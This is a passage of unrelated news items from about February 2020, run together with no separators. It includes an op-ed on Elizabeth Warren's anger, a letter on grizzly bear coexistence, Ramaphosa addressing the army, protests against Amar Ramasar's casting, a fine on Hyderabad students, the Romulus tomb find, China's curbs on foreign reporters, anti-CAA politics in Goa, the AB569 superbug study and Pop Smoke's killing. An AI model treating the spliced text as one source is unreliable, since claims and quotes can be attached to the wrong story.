of womens anger in 2018, more women were voted into office than ever before, many of whom cited the outcome of the 2016 presidential election as the reason they ran for office. And Warrens unapologetic rage worked. At the end of arguably her most impassioned debate to date, she had raised $2.8 million a fundraising record for her presidential campaign. Warren has apologized for her anger in the past. At the end of a debate last December, she said, I know that, sometimes, um, I get really worked up, and sometimes I get a little hot. I dont really mean to. But at a time when women are still told to suppress their anger to smile more and work hard to appear likeable and electable we need someone in the White House who knows the power of noble indignation and intends use it; who is capable of knowing when and how to use it, who it should be directed towards, and how it can both protect people and hold those in positions of power accountable. And we need that anger wielded by a woman who represents and fights for those of us whore tired of being overlooked, dismissed, ignored, and left out. Living in Montana, Ive seen lots of people take it upon themselves to keep their families and themselves safe in grizzly country. I am a firm believer that bears and people can co-exist. The Governors Grizzly Bear Advisory Council is discussing important conflict prevention measures and how we can safely recreate, ranch and farm in bear habitat, while protecting this iconic species. The council can recommend several measures to keep people safe, and make sure wildlife is protected. First, our state should devote more resources to educating the public about bear safety, especially in communities where grizzly bear range is likely to expand. Second, the council should recommend full implementation of conflict prevention measures listed in the Interagency Grizzly Bear Conflict and Mortalities Report like hunters carrying bear spray, hunting with a partner and not shooting prey late in the day. Last, I urge the council to recommend proactive, non-lethal measures such as electric fencing and bear-proof garbage containers that target specific conflict situations and are effective over the long term. I am a proud outdoors lover in this region, and thats why I think its so important to ensure a future for grizzly bears and to practice coexistence. Phil Knight, Bozeman You must be logged in to react. Click any reaction to login. Love 3 Funny 0 Wow 0 Sad 0 Angry 0 Source: Xinhua| 2020-02-21 23:26:07|Editor: Mu Xuequan Video Player Close POLOKWANE, Feb. 21 (Xinhua) -- South African President Cyril Ramaphosa on Friday called on the army to help the continent achieve its dream of silencing the guns. Ramaphosa said this when addressing the South African National Defence Force (SANDF) during the Armed Forces Day commemorations in Polokwane. He reminded the soldiers that they are commemorating the Armed Forces Day when the country have assumed the AU chairship. "South Africa looks to the SANDF to assist us to meet our obligations with regards to supporting continental peace and security. We count on the SANDF as an organ mandated by the Africa Union (AU) and the United Nations (UN) respectively to discharge the important responsibility of promoting peace," said Ramaphosa. He pointed out that the soldiers should help the continent to realize the dreams African founding fathers such as Ghana's Kwame Nkrumah, Tanzania's Julius Nyerere, Democratic Republic of Congo's Patrice Lumumba and others. He said while Africa has made progress there are still instability in some parts of the continent which needs attention, citing Mali, Burkina Faso, Niger and the Sahel as examples. "As a continent, we have set milestones towards the attainment of a better and safer continent for all Africans, but our progress remains mixed. Conflict continues in several African countries, undermining our collective efforts to achieve peace and security," said Ramaphosa, commander in chief of SANDF and the AU chair of this year. The AU aims to end fighting in the continent this year and have a theme -- Silencing the guns. Close to 100 #MeToo activists convened at the opening night of 'West Side Story' on Broadway to protest the involvement of a cast member who allegedly leaked nude images of his girlfriend. The irate protesters took to the Broadway Theatre to call for Amar Ramasar - cast to play Sharks gang leader Bernardo - to be dropped from the production during its opening on Thursday. In 2018, Ramasar was fired from New York City Ballet after dancer Alexandra Waterbury accused him and two other male dancers of sharing sexually explicit photos of her and another female dancer without the women's consent. The irate protesters took to the Broadway Theatre to call for Amar Ramasar - cast to play Sharks gang leader Bernardo - to be dropped from the production during its opening on Thursday The protesters stood to the side of the theater during its opening night Alexa Maxwell, 25, is pictured with her boyfriend Amar Ramasar, 38, who shared a sexually explicit photo of her without her consent with two male dancers in the New York City Ballet During the demonstration, protesters could be heard chanting: 'Hey hey, ho ho, Amar has got to go.' They held signs that read 'Keep predators off the stage' and 'Boo Bernardo.' Megan Rubin, the woman responsible for getting the Change.org petition launched against Ramasar, told the New York Post she was pleased with the turnout. 'We have to let the producers know that we aren't okay with Amar still being on stage,' Rubin said. During the demonstration, protesters could be heard chanting: 'Hey hey, ho ho, Amar has got to go' They held signs that read 'Keep predators off the stage' and 'Boo Bernardo' Megan Rubin, the woman responsible for getting the Change.org petition launched against Ramasar, said she was pleased with the turnout Protestors outside the Broadway Theater during the opening night of the show One protester claimed that Ramasar 'should be on a sex offender list' A young actor named David declared that not getting rid of the actor set a bad example. 'What you're saying is that it's okay to treat women like this by letting him keep his job. I don't know how people share the stage with him,' David added. In an interview with 60 Minutes on Sunday, producer Scott Rudin declared that he had no intention of letting Ramasar go. The actor pictured on opening night Some of the protesters carried signs that read 'Sexual harassment shouldn't get a standing ovation' and 'Keep predators off the stage.' In an interview with 60 Minutes on Sunday, producer Scott Rudin declared that he had no intention of letting Ramasar go. 'The arbitrator found that there had been no firing offense,' Rudin said. 'He got reinstated. I don't excuse it. I think what he did was really stupid.' 'I mean am I supposed to replace him in the show? I'm not gonna do that,' Rudin added. Actors' Equity released a statement offering their thoughts on the entire ordeal. 'Everyone at West Side Story should be able to go to work and perform feeling safe and protected in their workplace,' Actors' Equity Association Executive Director Mary McColl said, according to Playbill. 'Equity has been in communication with the general manager and the members of the show. As a union, Equity's role is to ensure that our members are protected in the workplace and we take that responsibility very seriously. Equity will continue to hold all employers to their legal obligation to maintain a safe and harassment-free environment. I want all members, wherever they might work, to know that they can contact their business representative whenever there is any kind of problem in the workplace, or use the Equity hotline to anonymously report problems in their workplace.' During previews for the show, groups of protesters gathered outside of the theater and called for the dismissal of the 38-year-old, who they have branded a 'rapist', 'pedophile', and 'sexual predator'. His girlfriend, Alexa Maxwell, 25, claims the actor and ballet dancer - who has been her boyfriend for five years - is being unfairly targeted and that the photo was a 'personal matter'. A protest during the show preview called for Ramasar's dismissal from the West Side Story cast Alexandra Waterbury, 22, filed a lawsuit in 2018 accusing three male dancers in the New York City Ballet, of sharing sexually explicit photos of her and another female dancer In 2018, Ramasar was fired from New York City Ballet after Alexandra Waterbury accused him and two other male dancers of sharing sexually explicit photos of her and another female dancer without the women's consent. He was later reinstated and continues to be a member of the ballet company. Ramasar's involvement in the accusations included a 2018 incident in which fellow dancer Chase Finlay sent a sexually explicit photo of Waterbury to Ramasar and another male dancer. In response, Ramasar sent a naked picture of his girlfriend Alexa Maxwell, who is also a dancer, to the other two men without her consent. At the time, Finlay was Waterbury's boyfriend and he is the main defendant. She is seeking damages in the ongoing lawsuit. Waterbury did not organize the protest but attended and thanked the group for their support Protesters continue an online campaign to have Ramasar dismissed from West Side Story Alexa Maxwell spoke for the first time about her picture being shared by Ramasar and said that she was not a 'victim' Maxwell hit back at the protesters earlier in the month saying that he was being unfairly targeted and that she 'is not a victim'. The earlier protest was the second in two weeks and there has been an ongoing social media campaign and an online petition calling for Ramasar's dismissal. As well as the public outrage, Maxwell revealed she is receiving private messages criticizing her for staying with Ramasar. 'I am not a victim in this and no longer wish for my truth to be misrepresented. It is not my mission to diminish the feelings of Alexandra's but I want to bring to light some facts that have been misrepresented across multiple platforms,' Maxwell said in a statement posted just before the protest began. The statement adds that the 'only photograph that was shared by Amar was of me, his girlfriend of nearly five years. I knew about the photos of me when they were taken, and while sharing it privately with a close friend was a misstep in judgment, Amar immediately told me when he sent them to Chase and his sincerest regrets have led us to today, where we reside together and are building a loving and happy relationship. 'The incident was a personal matter between me and Amar, and I am okay with what happened.' Actor and dancer Amar Ramasar, 38, was fired from the New York City Ballet when accusations were first made but was later reinstated and continues to be a member of the ballet company Maxwell added she wanted to clear up her story before the protest began and to highlight that Ramasar had not originally been accused by Waterbury of things that she and members of the public are now claiming. 'On social media, Alexandra and other people out there have recklessly tossed around phrases like 'rapist,' 'sexual predator,' and 'pedophile' when referring to Amar,' she said. 'Amar never raped anyone and Alexandra in her lawsuit does not allege that he did. 'Amar is not a sexual predator and Alexandra in her lawsuit does not allege that he is. And Amar is no pedophile and Alexandra in her lawsuit does not allege anything like that. 'And while Alexandra in her lawsuit makes allegations about group texts in which men spoke of women in horrible terms, Amar was not a participant in those group texts, and Alexandra does not allege that he was.' Waterbury was not the organizer of the protests or the online campaign but did attend preview protests. In response to Maxwell's statement, she told the New York Times: 'He still asked for photos of me. He still wronged me.' She also offered her support for the protest posting a thank you message to Instagram and stating that she is 'excited to continue raising awareness about these abuses and fighting for justice'. 'Cannot believe 40+ people showed up tonight to protest Amar's casting in @westsidestorybway We handed out 400+ flyers to audience members,' she wrote in the post. 'I'm excited to continue raising awareness about these abuses and fighting for justice. It's time to hold people accountable for their actions. Talent is not an excuse or a justification for sexual assault or misogynistic slander. 'Thank you to everyone who came out tonight and to those who organized everything. The support received is overwhelming and humbling. Thank you. Thank you. Thank you.' The newly re-imagined West Side Story is currently in previews and set to open on Broadway on February 20, 2020. The show's producer Scott Rudin has voiced his support for Ramasar and stated that the production stands behind him. Rudin told the New York Times that Ramasar is 'an exemplary company member' and 'has more than earned our trust'. In the 2018 lawsuit filed by Waterbury, she accuses Ramasar of sharing explicit photos of another dancer which Maxwell has now confirmed was she. Maxwell claims that in 2018, Waterbury attempted to convince her to join the lawsuit during an hour-long phone conversation, advising Maxwell that it 'is worth half a billion dollars'. Waterbury's lawyer, Jordan K. Merson claims this is inaccurate. 'It is unfortunate that Ms. Maxwell would try to taint Ms. Waterbury with all that she has done for the #MeToo movement,' he said, adding that her statement a year after the lawsuit was filed is problematic. The University of Hyderabad has fined three students Rs 5,000 each for organising a 'Shaheen Bagh Night' event against the Citizenship Amendment Act on the campus after 9 pm in violation of varsity regulations. The students union has condemned the move. The fine was imposed through an a university order dated February 18 as the students organised the event on January 31 after 9 pm at North Shopping Complex and also allegedly defaced the walls at the site, university sources said. "The students are sternly warned to be cautious and focus on their studies in future. Recurrence of such incidents or indulging in any act of indiscipline would have serious repercussions on their academic career with strong disciplinary action," the order said. Condemning the varsity action, the students union in a statement said the order or circular was arbitrary and they would not follow it and demanded that the fine imposed be withdrawn unconditionally. "HCUSU (Hyderabad Central University Students Union) also assures the student community that we will not bow down to the administration at any cost and will take any and every possible step to safeguard the democratic interests of the students," the note said. A spokesperson of the University said the institution recognises the right of recognised student bodies to organise meetings or protests, in designated spaces without disrupting normal academic, administrative and residential life of a large number of teaching and non-teaching staff and their families who live on the campus. "It is in that context that three students were fined for violating standing regulations of the University that no meetings and protests would be permittedin public spaces of the campus after 9 pm," the varsity official said. The event which began at 9 pm went on till 2.30 am. There was also photographic and video evidence of these students "blatantly refusing" to abide by the regulations on defacing of campus structures, the official said. He hoped that all students will abide by some basic institutional norms and make the campus a space for healthy, democratic debates and discussions. When contacted, University Registrar P Sardar Singh said there was no deadline set by the administration to pay the fine. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Dowling recovering at home after long hospital stay State Rep. Matthew Dowling has returned home after suffering a one-vehicle crash in October. Dowling represents parts of Somerset County. Social Commerce accounts for 15-20% of the online retail market and is expected to hit the $70 billion mark in the coming 10 years. Wizikey, Asias first PR and communication platform has released an interesting report on the top newsmakers in the social commerce sector using its AI and ML-based Technology. The top 5 newsmakers were identified in the category and analysed based on the volume of news made by each of them. As per the report findings, social commerce has been a trending topic in media articles in 2019, with leading investors putting in capital in social commerce startups and new-age social media platforms like Sharechat and TikTok. The major chunk of news was created in the months of June, August and September 2019, implying that they were the primary months of activity in this category. The report also talks about how with the ever-spreading reach of the internet, social media giants like Twitter, Snapchat, Facebook, and Instagram have seen a huge increase in their user base with first-time internet users signing up on these platforms to connect with the rest of the world. While e-commerce too has benefited from the increasing internet penetration, social commerce has emerged as a relatively new concept. It currently accounts for 15-20% of the online retail market and is expected to hit the $70 billion mark in the coming 10 years. In India, most of the people living in Tier 2 and Tier 3 cities shop through Facebook and WhatsApp. While there is still some time before social commerce can make inroads into the metro cities, majority of the population is already buying all sorts of products through networking sites. China is one geography that has welcomed social commerce with open arms. The way WeChat is being used to interact, explore, buy and sell, is phenomenal. The industry is growing at almost twice the rate of the overall online retail industry. Top Players in Social Commerce In recent years the industry has seen an exponential increase in the number of players as well as the funding flowing into these companies. The top companies that have emerged as industry leaders in India are Advertisement An ancient tomb believed to be the final resting place of the legendary 'wolf-suckled' King Romulus - the founder of Rome - has been unveiled to the public for the first time in a series of new images. The tomb was uncovered in the Roman Forum during recent excavations and its discovery supports a long-standing theory that the first King of Rome was buried at the site. Researchers from the Colosseum Archaeological Park investigated the claims and found a 4.6ft rock sarcophagus and circular alter that match descriptions from ancient scholars and Roman folklore. No bones were found at the site but some experts believe its existence is enough proof it was built as a shrine to Romulus. The finding is near another famous shrine in the Roman Forum, the Lapis Niger, which is an ancient black shrine. But, unlike Lapis Niger, the proposed tomb of Romulus does not have any inscriptions to indicate who the person buried there was. The Colosseum Archaeological Park, which manages the Forum where the sarcophagus lies, said recent clues all pointed to it being the founder's tomb People stand by the access to an ancient tomb thought to belong to Rome's founder Romulus, who is believed to have killed his brother before founding Rome The ancient tomb, which was found containing no bones, is thought to belong to Rome's founder Romulus, pictured on February 21 WHO WAS ROMULUS? Romulus was the legendary founder and first king of Rome - he was in power through the second half of the 8th Century BC and is said to have started some of the earliest Roman institutions and traditions. The legendary Capitoline She-Wolf with Twins Romulus and Remus, symbolizes the Founding of Rome Romulus and his twin brother Remus were said to have a notable lineage that can be traced back as far as the Trojan hero Aeneas and Latinus, the mythical founder of the kingdom of Latium. The twins were the sons of Rhea Silvia who was the daughter of Numitor, the former king of Alba Longa - an ancient Latin city in central Italy. Legend says Silvia became pregnant with the boys by the god Mars. She was imprisoned by Amulius who usurped her father and ordered the twins be thrown in the river Tiber. Servants were said to have placed the boys along the riverbank at the foot of the palatine hill rather than throw them in the rain-swollen river. Roman mythology says they were found by a she-wolf at the the base of a fig tree where she suckled them and tended to them by a cave until they were found by a herdsmen and raised by him and his wife. They learned of their true ancestry after growing to manhood and overthrew Amulius and restored their grandfather Numitor to the throne before deciding to found a new city. The two brothers cold not agree on where to form the city and so they started to fight and conflict was escalated until Remus was killed - either by his brother or one of his followers. His death is as full of mystery and intrigue as was his birth and time founding the city of Rome. After reigning for 37 years Romulus is said to have suddenly disappeared during a violent storm and was never seen again. This happened while he was reviewing his troops on the Campus Martius - they say he went in a whirlwind. According to historian Livy the reality is that he was either murdered by the senators - torn limb from limb out of jealousy, or had ascended to heaven by the god of war Mars. He prefers the theory of ascension as it gives Rome and Romans the chance to believe that the gods are on their side and allows them to continue to expand into an empire in the name of Romulus. Advertisement Archaeologists renewed their search for the tomb of Romulus following decades of debate over where he may have been buried. The Colosseum Archaeological Park manages the Forum where the sarcophagus and alter lies. 'These two archaeological objects (sarcophagus and altar) have given rise to a hypothesis we can now debate,' Italian archaeologist Paolo Carafa told AFP. Director of the Colosseum Archaeological Park Alfonsina Russo told The Times: 'This is an extraordinary discovery. The forum never ceases to yield amazing fresh treasures.' The underground temple is located below the entrance stairway to the Curia, a building that survives today and where Roman senators met to vote. Scholars believed, according to Ms Russo, that the temple's altar was positioned where ancient Romans believed Romulus was buried. The finding occurred near the Lapis Niger, an ancient black shrine in the Roman Forum, according to Andreas Steiner, editor of the magazine Archeo. The Lapis Niger includes an inscription of the word rex which meant either king or a high religious official - the significant of the shrine was lost to history which led to conflicting stories of its origin. No such inscription was found on the alleged tomb of Romulus, leaving some experts unsure of its provenance. The Lapis Niger, discovered in 1899, has a Greek inscription referring to how the sacred ground must not be disturbed. 'It refers to the burial site of a holy king and the oldest and most important king is Romulus,' Andreas Steiner, editor of the magazine Archeo told The Times. According to legend, Romulus ploughed a square furrow around the Palatine Hill to demarcate the walls of the future city. When a mocking Remus hopped over the 'wall' to prove how ineffective it would be against invaders, his brother killed him. A team of scientists carrying out a dig in the late 1980s discovered a long, deep gash marked by large stones, which they claimed was the 'sacred furrow' ploughed by Romulus. Legend has it he went on to establish the Roman senate and rule as the city's first king for nearly 40 years, before disappearing into thin air one day while out inspecting his troops. Stories of his death include him being torn limb from limb and his remains scattered around the city by jealous senators and him taken up to heaven by the god of war. It is unknown if there was a body to be buried, and archaeologists think the newly-discovered tomb could be either a shrine to Romulus or his actual burial site. A workman stands by the entrance to the ancient tomb thought to belong to Rome's founder Romulus, whose body was reportedly dismembered after his death by angry senators People stand by the access to an ancient tomb thought to belong to Rome's founder Romulus on February 21, 2020 at the Curia - Comitium in the Roman Forum of Rome Historians have long been divided not only over whether Romulus and Remus actually existed, but if so where Romulus' body - which was reportedly dismembered after his death by angry senators - may have been buried. Romulus was in power through the second half of the 8th Century BC and, along with his twin brother Remus, comes from a notable lineage that mythology suggests includes Mars the god of war. The twins were the sons of Rhea Silvia who was the daughter of Numitor, the former king of Alba Longa - an ancient Latin city in central Italy and an adviser to Romulus as he founded Rome. Legend says Silvia became pregnant with the boys by the god Mars. She was imprisoned by Amulius who usurped her father and ordered the twins be thrown in the river Tiber. Servants were said to have placed the boys along the riverbank at the foot of the palatine hill rather than throw them in the rain-swollen river. Roman folklore says they were found by a she-wolf at the the base of a fig tree where she suckled them and tended to them by a cave until they were found by a herdsmen and raised by him and his wife. They learned of their true ancestry after growing to manhood and overthrew Amulius and restored their grandfather Numitor to the throne. They then decided to found a new city. This led to a dispute and the eventual slaying of Remus. Romulus picked 100 men from the leading families and established the first Roman senate. He founded other major institutions including the military and outlawed infanticide to boost population levels. After reigning for 37 years Romulus is said to have suddenly disappeared during a violent storm and was never seen again - it happened while he was reviewing his troops on the Campus Martius. Romulus - the founder of Rome - was said to have been raised by a she wolf in what is now Rome, Italy alongside his twin brother Remus. This statue shows them suckling from the wolf More shots of the ancient tomb thought to belong to Rome's founder Romulus - although no bones were found in the tomb China's expulsion of three Wall Street Journal reporters this week over a headline that displeased Beijing highlights the precarious status of foreign journalists working in the country. Foreign news organisations face myriad obstacles including cumbersome regulations, threats to revoke credentials, surveillance, arbitrary detention and sometimes even violent intimidation. At the same time, China has taken advantage of press freedom overseas to build up its state-controlled media presence worldwide. Here are some of the hurdles faced by foreign media organisations and journalists: - The 'J' visa - The first obstacle is obtaining a special journalist visa to enter China, a wait that can stretch for months. Applications are sometimes then abruptly denied without explanation, possibly due to an applicant's work elsewhere. These "J" visas must be renewed annually. Several high-profile news organisations have reported renewals being denied or delayed until the last minute -- including for journalists from the New York Times and Bloomberg, who covered corruption issues in the Communist Party elite. The Foreign Correspondents Club of China (FCCC) says at least nine journalists have been effectively expelled or denied new visas since 2013. - Access: denied - Reporting is a frustrating pursuit, with access to tightly controlled official events routinely denied and interviews with government officials rarely granted. Information requests often result in instructions to "send a fax", which are rarely answered. Interviews with private Chinese citizens or businesses can take weeks or months to secure, and these are often abruptly cancelled by interviewees claiming cryptically that "it's inconvenient" -- code for not wanting to upset authorities. Foreign media also must submit questions in advance for major press conferences. Access tightens even further before sensitive events such as major Communist Party meetings or anniversaries like the 1989 Tiananmen Square crackdown. Reporters Without Borders ranks China 177 out of 180 nations for press freedom -- two spots better than North Korea. It has dropped steadily this decade. - Knock, Knock - Authorities employ multiple obstacles against reporters in the field. Hotels must report any guest checking in on a journalist visa to local police. They will frequently be paid a visit by police who photograph passports and press cards and give orders to delete pictures or video. Journalists are frequently told to leave an area due to various obscure regulations, because it has been "closed" to outsiders, or to protect the reporter's own "personal security." A persistent journalist runs the risk of several hours' detention -- especially in sensitive areas such as the restive far-western Xinjiang region -- and may be pressured to write "confessions" of reporting misconduct. The FCCC advises carrying a print-out of China's own official rules that declare broad rights for foreign journalists, but these are often simply waived away by local authorities. News organisations have documented numerous examples of sources, interviewees, or their own Chinese assistants facing pressure and intimidation from authorities not to cooperate with foreign media. Journalists are routinely shadowed by police or other suspected security agents, and many have related anecdotal evidence indicating that their phones or messaging apps may have been compromised. - Land of the free - By contrast, Beijing has poured billions into expanding its state-run media footprint worldwide to control the global narrative about China, and has eagerly utilised American openness -- where Chinese reporters can work and travel freely -- as part of this drive. The State Department can withdraw press accreditation from Chinese journalists who file false reports or violate conduct rules, but it says "reporting, editorial opinion or content of questions will never be grounds". But the US is raising its guard. Chinese media must already declare funding sources and that they are linked to "a foreign principal". And new rules announced Tuesday label five major Chinese state-run outlets as "party-state propaganda" subject to additional requirements, but they impose no new reporting restrictions. Analysts believe the expulsion of the three WSJ journalists was really in retaliation to the US measure. Beijing linked it to a headline in an op-ed that it deemed racist even though the reporters were not involved in the article. China expelled three journalists from the Wall Street Journal after complaining about a headline officials deemed racist Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. BJP Goa President Sadanand Shet Tanavade on Friday stated that it was wrong to hold an anti-CAA rally on the occasion of Maha Shivratri. In the massive protest rally which was scheduled for Friday, the Roman Catholic Church had also urged Catholics to participate in it. Speaking to a news agency, Tanavade said that since people visit temples on Maha Shivratri it is wrong to organise a rally and impede people from visiting the place of worship. The BJP state chief also expressed displeasure over Union Minister Piyush Goyal's remarks about Goa turning into a 'mini Portugal.' Union Minister of Railways and Commerce Piyush Goyal while addressing the Confederation of Indian Industries (CII) meeting in Mumbai on February 15 had said, "I believe if we were to work together to create a mini-Portugal in Goa, we could truly make it a preferred destination for visitors from around the world." Sadanand Shet Tanavade said, that the party did not like what he said but also added that the Union Minister might have erred in the context of the phrase. Tanavade added that Goyal was speaking in terms of development so maybe what he was trying to say was in reference to development. READ | Goa BJP Chief Says Party Unhappy With Piyush Goyal's 'Mini-Portugal' Remark Nationwide protests against citizenship laws Protests against the newly amended Citizenship law, which fast-tracks Indian citizenship for non-Muslim minorities from three neighbouring countries, have flared since December last year. The mood in the national capital has been tense ever since violence erupted in the Jamia Millia Islamia University on an earlier occasion. The protests spread nationwide following that incident. READ | West Bengal BJP State President Dilip Ghosh Attends Pro-CAA Rally Prime Minister Narendra Modis government had stated that the law is required to help persecuted minorities who came to India before December 31, 2014, from Afghanistan, Bangladesh and Pakistan. However, protestors insist the law discriminates against the countrys Muslim minority and violates Indias Constitution. READ | JP Nadda Appoints New BJP State Chiefs In MP, Kerala & Sikkim Amid Poor Delhi Poll Results What is CAA? The Citizenship Amendment Act offers citizenship to Pakistani, Afghan and Bangladeshi illegal immigrants who fled their home countries to escape religious persecution. It covers six minority religious groups, but not Islamic ones. The government has pointed out that the law won't take citizenship away from Indians, denied the charge that it is anti-Muslim, and promised to protect locals' rights in the Northeast, where there are fears of a threat to their social and cultural identity. READ | As Non-BJP States Pass Anti-CAA Resolutions, Gujarat CM Rupani Enacts 'befitting Reply' There may be a solution on the horizon to combating superbug infections resistant to antibiotics. The tenacious bacteria and fungi sicken more than 2.8 million people and lead to more than 35,000 deaths in the United States each year. An international team of researchers has found that a combination of ingredients (acidified nitrite and ethylenediaminetetraacetic acid) known as AB569 and developed by a University of Cincinnati scientist kills a bacteria (Pseudomonas aeruginosa), one of the most serious pathogens that exhibits multidrug resistance and virulence. Their findings are available online in the scholarly journal of the Proceedings of the National Academy of Sciences of the United States of America. AB569 kills these pathogenic bacteria by targeting their DNA, RNA and protein biosynthesis as well as energy and iron metabolism at concentrations that do not harm human cells. These were tested in laboratory mice with humanized cells. Our data implicate that AB569 is a safe and effective means that could be applied to eradicate these superbugs." Daniel Hassett, professor in the UC Department of Molecular Genetics, Biochemistry and Microbiology Pseudomonas aeruginosa was applied to the lungs of laboratory mice for five days. This pathogen in humans causes pulmonary infections in patients with cystic fibrosis and chronic obstructive pulmonary disease and many other opportunistic infections. Pseudomonas aeruginosa is considered one of six ESKAPE pathogens, known by their acronym and considered among the most resistant and deadly to humans. The ESKAPE pathogens include Enterococcus faecium, Staphylococcus aureus, Klebsiella pneumoniae, Acinetobacter baumannii, Pseudomonas aeruginosa, and Enterobacter spp. These ESKAPE pathogens typically result in hospital-acquired infections leading to illness such as pneumonia and MRSA infections. Urinary tract infections that are resistant to antibiotics are also among illnesses caused by these organisms. "These superbugs have an ingenious mechanism of being able to resist traditional antibiotic therapies by a vast number of acquired strategies," explains Hassett, also the paper's senior author. "Antibiotics affect specific processes in the bacteria, but not all of them. AB569 affects multiple processes at once leaving the exposed bacteria simply overwhelmed." AB569 was patented in March 2018 in the United States by Hassett and initially was seen as a potential treatment for many antibiotic-resistant organisms that cause pulmonary infections in patients with cystic fibrosis and chronic obstructive pulmonary disease and many other opportunistic infections. In addition to tackling chronic obstructive pulmonary disease and cystic fibrosis, AB569 may also be effective in addressing infections related to severe burns, urinary tract disorders, endocarditis and diabetes, said Hassett. "Multidrug resistance, a trait of superbug bacteria, is one of the greatest threats to global public health," says Hassett. "It is usually caused by excessive drug usage or prescription, inappropriate and often compliance-related use of antimicrobials, overuse in the chicken, beef and pork industries and/or substandard pharmaceuticals." Hassett says the Centers for Disease Control and Prevention considers antibiotic resistance to be among the most serious threats to human health because pathogens rapidly evolve new means to combat drug therapy leaving those who are susceptible at risk. "Superbugs typically are found in areas of the world where there is a high population density, thereby facilitating rapid spread of such organisms. People who have traveled to areas of the world with high rates of antibiotic resistant bacteria such as South Asia and the Middle East are more likely to carry superbugs," said Hassett. "This is why patients are often quarantined if they test positive for such organisms while epidemiologists are on their toes tracking a pathogen's spread." He said these superbugs may be naturally occurring but there are some things individuals can do daily to lessen exposure such as avoiding travel to destinations that report a high incidence of infection, washing hands religiously and if you feel ill and have been to place with an outbreak, notify a physician or appropriate health authority right away. Devastated relatives of murdered rapper Pop Smoke are in 'full investigation mode' to try and find out who shot him dead in Los Angeles. Family sources say they have personally questioned friends and witnesses who were at the $2.5million Hollywood Hills mansion before the shooting and have demanded to see security footage, according to TMZ. The 20-year-old artist, who identified himself as a member of the infamous Crips gang in a song released earlier this month, was shot dead at about 4.30am Wednesday. The murder is now being investigated as a gang-related attack, according to police sources, after it was initially thought to be a botched home invasion robbery because it came hours after Pop Smoke shared several social media posts showing off high-value items. But his relatives, who flew to L.A. from New York as soon as they heard the tragic news, are said to be bemused by the new focus of the investigation because they were unaware of him having any enemies on the West Coast. The murder is now being investigated as a gang-related attack, according to police sources, after it was initially thought to be a botched home invasion robbery Medics are seen carrying the victim to an ambulance that transported him to a hospital, where he was pronounced dead Pop Smoke was shot dead after at least four men wearing ski masks broke into a home in Hollywood Hills at about 4.30am Wednesday The incident was initially thought to be a botched home invasion robbery because it came hours after Pop Smoke shared several media posts showing off high-value items. In the Instagram photo above, posted Tuesday, the rapper is sitting in the driver's seat of a Range Rover next to his friend Mike Dee, who is holding a massive stack of cash A source told TMZ that 'nothing makes sense' as it would be unlikely for an East Coast hitman to travel all the way to L.A. when the rapper spends so much of his time in New York. The source said Smoke was in L.A. to promoting his new album and to 'relax a bit' before going on tour in March. TMZ said the rapper's family 'is in full investigation mode and won't stop until they get some answers.' Cops at first suspected a botched robbery because of social media posts by the rapper featuring the exact address of the home, which is said to have been renting from Real Housewives of Beverly Hills star Teddi Mellencamp and her husband. But authorities are now reportedly treating it as a targeted hit based on surveillance video from the property and Pop Smoke's alleged Crips affiliation. Insiders who have seen CCTV footage told TMZ four men can be seen approaching the $2.5million home on Hercules Drive roughly ten minutes after people inside deadbolted the front door. One of the suspects apparently walked to the back of the house, where there were no cameras, and entered before multiple shots were fired. That suspect, who TMZ said is presumed to be the shooter, then fled through the front door with nothing in his hands. He and his alleged accomplices are still on the run as of Thursday morning. Police arrived at the home within minutes of receiving a call about the gunfire. The murder of 20-year-old rapper Pop Smoke is being investigated as a gang-related attack, police sources say LAPD officials say they are still searching for the assailants, who fled the scene on foot First responders with the Los Angeles Fire Department were filmed rolling Pop Smoke out of the home on a stretcher. He was transported by ambulance to Cedars-Sinai Medical Center in West Hollywood, where he was pronounced dead. Detectives questioned the witnesses in side the house and determined none of them were involved in the shooting. At a press conference Wednesday morning, LAPD Captain Steve Lurie said authorities were searching for between two and six suspects. Lurie did not disclose the name of the victim but multiple law enforcement sources and Pop Smoke's record label, Republic Records, confirmed it was the rapper, whose real name is Bashar Barakah Jackson. Lurie said the motive for the shooting has not been determined and investigators were not ready to say if it was targeted or random. However, law enforcement sources told the Los Angeles Times that the attack is considered a gang-related homicide because of Pop Smoke's apparent ties to the Crips. Pop Smoke shared a video on his Facebook Story hours before the shooting which featured the exact address of the home where it took place Detectives suspect the assailants are probably gang members, but they have not determined if the slaying was motivated by gang rivalry, the outlet reported. 'There is a lot of information available,' LAPD Captain Jonathan Tippet said. 'We have some work to do.' Pop Smoke shared three photos of himself outside the home on Instagram the day before he was killed. In two of the photos the tracksuit-clad rapper is seen posing with Louis Vuitton luggage next to the same white Range Rover that was parked in the driveway when medics arrived. In the third photo, Pop Smoke is sitting in the driver's seat of the SUV next to his friend Mike Dee, who is holding a massive stack of cash. The caption read: 'GET STRAIGHT PASSION - ZIP HIM UP BAG EM - LOUIS V LOUIS V LOUIS V.' He also shared a video on his Facebook Story showing off pricey gifts he'd been sent. One of the gift bags clearly featured the address of the home - sparking speculation that the attackers learned where to find him via the post. The apparent home invasion unfolded at about 4.30am at 2033 Hercules Drive (pictured). Pop Smoke was reportedly renting from Real Housewives star Teddi Mellencamp and her husband Hours before he was killed Pop Smoke shared three photos of himself outside the home on Instagram. In two of the photos (above) the rapper is seen posing with Louis Vuitton luggage next to the same white Range Rover that was parked in the driveway when medics arrived The property is owned by actor and producer Edwin Arroyave and his wife Teddi Mellencamp, daughter of musician John Mellencamp. Arroyave owns several homes in the Los Angeles area, and sources say Pop Smoke was renting the Hercules Drive through AirBnB. Teddi Mellencamp, 38, confirmed that a shooting had taken place at one of the couple's rental properties in an Instagram post. 'Foremost, we would like to extend our prayers and condolences to the family and loved ones affected by this tragic loss of life,' she wrote in the caption. 'We aren't aware of any of the details beyond what we've been told or seen reported on the news and at this time we would like to refrain from commenting further as we wish for the focus to remain on the law enforcement officers who are diligently doing their jobs.' The house is owned by actor and producer Edwin Arroyave, the husband of Real Housewives of Beverly Hills star Teddi Mellencamp (pictured together in February 2019) Teddi Mellencamp, 38, confirmed that a shooting had taken place at one of the couple's rental properties in an Instagram post (pictured) Minutes after news of Pop Smoke's death broke, Nicki Minaj posted a photo of him on Instagram, writing: 'The Bible tells us that jealousy is as cruel as the grave. Unbelievable. Rest in Peace, Pop.' The cryptic caption suggests Pop Smoke may have known the suspects - but law enforcement sources have not said if they think there is a connection. Several other artists including Quavo, Chance the Rapper and 50 Cent also paid tribute to Pop Smoke on social media. Kylie Jenner, who's 